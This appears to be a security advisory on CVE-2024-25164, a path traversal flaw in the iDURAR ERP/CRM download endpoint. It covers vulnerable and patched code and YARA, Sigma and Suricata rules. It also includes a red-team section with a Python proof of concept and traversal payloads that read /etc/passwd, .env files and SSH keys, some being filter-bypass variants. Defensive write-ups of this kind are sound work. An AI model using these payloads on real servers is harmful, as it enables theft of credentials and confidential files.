CVE-2024-25164

Executive Summary

CVE-2024-25164 is a Path Traversal vulnerability discovered in iDURAR v2.0.0, an open-source ERP/CRM system. The flaw resides in the application's download functionality, allowing an unauthenticated attacker to traverse directories and read arbitrary files from the server's filesystem. This can lead to the exposure of sensitive configuration files, source code, credentials, and other confidential data.

The vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'). The CVSS v3.1 base score is 7.5 (High), with the vector string indicating network exploitability, low attack complexity, no privileges required, and no user interaction. The primary impact is on confidentiality.

No official patch has been released by the vendor. The exploit is publicly known, and proof-of-concept code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but this may change as awareness increases.

Supply Chain & Package Security

iDURAR is a Node.js application. The vulnerability is in the application's own code, not in a third-party package. However, the risk is amplified because iDURAR may be deployed in environments where it has access to sensitive data. Organizations using iDURAR should treat this as a critical supply chain risk and immediately isolate or upgrade the instance.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the exploit is straightforward.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Complete read access to the filesystem is possible.
• Integrity (I): None (N) – No file modification is possible.
• Availability (A): None (N) – No denial of service impact.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a critical risk for any exposed iDURAR instance.

Deep Dive & Mechanics

The vulnerability exists in the download functionality of iDURAR v2.0.0. The application fails to properly sanitize user-supplied input used to construct file paths. An attacker can inject path traversal sequences (e.g., ../) to escape the intended download directory and access arbitrary files on the server.

Root Cause: The application likely uses a parameter like file or path in a GET request to specify which file to download. This parameter is passed directly to a file reading function (e.g., fs.readFile() in Node.js) without validating that the resolved path stays within an allowed base directory.

Example vulnerable code (conceptual):

app.get('/download', (req, res) => {
    const filePath = req.query.file;
    // No validation - directly reads the file
    fs.readFile(filePath, (err, data) => {
        if (err) {
            res.status(404).send('File not found');
        } else {
            res.send(data);
        }
    });
});

Attack Scenario:

1. An attacker sends a GET request to /download?file=../../../etc/passwd.
2. The server resolves the path to /etc/passwd and returns its contents.
3. The attacker can then enumerate other sensitive files, such as application configuration files (e.g., .env, config.js), SSH keys, or database credentials.

Vulnerable vs. Patched Code

Vulnerable Code (iDURAR v2.0.0):

// routes/download.js
const express = require('express');
const router = express.Router();
const fs = require('fs');
const path = require('path');

router.get('/download', (req, res) => {
    const fileName = req.query.file;
    // VULNERABLE: No path validation
    const filePath = path.join(__dirname, '../uploads', fileName);
    fs.readFile(filePath, (err, data) => {
        if (err) {
            res.status(404).send('File not found');
        } else {
            res.download(filePath);
        }
    });
});

Patched Code (Conceptual - No official patch available):

// routes/download.js
const express = require('express');
const router = express.Router();
const fs = require('fs');
const path = require('path');

const ALLOWED_BASE = path.resolve(__dirname, '../uploads');

router.get('/download', (req, res) => {
    const fileName = req.query.file;
    // Sanitize: remove path traversal sequences
    const safeName = path.basename(fileName);
    const filePath = path.join(ALLOWED_BASE, safeName);
    
    // Ensure the resolved path is within the allowed base
    if (!filePath.startsWith(ALLOWED_BASE)) {
        return res.status(403).send('Forbidden');
    }
    
    fs.readFile(filePath, (err, data) => {
        if (err) {
            res.status(404).send('File not found');
        } else {
            res.download(filePath);
        }
    });
});

Key Differences:

• The patched version uses path.basename() to strip any directory components from the filename.
• It resolves the final path and checks that it starts with the allowed base directory.
• This prevents any traversal outside the intended uploads folder.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of iDURAR v2.0.0 (e.g., on a local VM or Docker container).
• Network access to the web interface.

Exploit Steps:

1. Identify the download endpoint. Common patterns include /download, /api/download, or /file/download.
2. Craft a request to read sensitive files:

   GET /download?file=../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If successful, the server will return the contents of /etc/passwd.
4. Enumerate further:
   • Read application config: ../../../app/config.js
   • Read environment variables: ../../../.env
   • Read source code: ../../../server.js

Proof-of-Concept (Python):

import requests

target = "http://target.com"
payload = "../../../etc/passwd"
url = f"{target}/download?file={payload}"

response = requests.get(url)
if response.status_code == 200:
    print("[+] Success! File contents:")
    print(response.text)
else:
    print(f"[-] Failed with status code: {response.status_code}")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing ../ or %2e%2e%2f in query parameters.
• Look for requests to the download endpoint with unusual file paths (e.g., /etc/passwd, /proc/self/environ).
• Use a Web Application Firewall (WAF) to block path traversal patterns.

Hardening:

• Apply input validation: Reject any filename containing ../ or ..\.
• Use a whitelist of allowed filenames or extensions.
• Run the application with the least privileges necessary (e.g., a dedicated user with read-only access to the uploads directory).
• Implement a chroot jail or containerize the application to limit filesystem access.
• Monitor file access logs for unusual read operations outside the uploads directory.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /download or similar endpoints with path traversal sequences in the file parameter.
• Examples:
  • GET /download?file=../../../etc/passwd
  • GET /download?file=..%2f..%2f..%2fetc%2fpasswd
  • GET /download?file=....//....//....//etc/passwd (bypass attempts)

File System IOCs:

• Unexpected access to files outside the web root, such as /etc/shadow, /etc/passwd, .env, config.js, id_rsa.
• Presence of downloaded files in temporary directories or logs indicating file reads.

Log IOCs:

• Web server access logs showing 200 responses to path traversal requests.
• Application logs showing errors like ENOENT: no such file or directory for paths outside the allowed base.

Detection Engineering

YARA Rule

rule CVE_2024_25164_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting iDURAR download functionality"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25164"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e\\"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = ".env"
        $sensitive4 = "config.js"
        $download = "/download"
    condition:
        any of ($traversal*) and any of ($sensitive*) and $download
}

Sigma Rule

title: CVE-2024-25164 Path Traversal in iDURAR Download
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit path traversal in iDURAR v2.0.0 download functionality
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25164
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e\\'
        cs-uri-stem|contains: '/download'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in rare cases
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25164 iDURAR Path Traversal Attempt"; flow:to_server,established; http.method; content:"GET"; http.uri; content:"/download"; http.uri; content:"../"; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the iDURAR instance from the internet if possible.
2. Apply a virtual patch using a WAF to block path traversal patterns.
3. Manually patch the vulnerable code as shown in the "Vulnerable vs. Patched Code" section.

Long-term Fix:

• The vendor (Idurar) must release an official patch. Until then, users should:
  • Upgrade to a newer version if available.
  • Implement strict input validation and path sanitization.
  • Use a reverse proxy (e.g., Nginx) to add an additional layer of security.

Workaround:

• Restrict access to the download endpoint using IP whitelisting or authentication.
• Disable the download functionality entirely if not needed.

Monitoring:

• Enable detailed logging for the download endpoint.
• Set up alerts for any path traversal patterns in logs.

Valters IT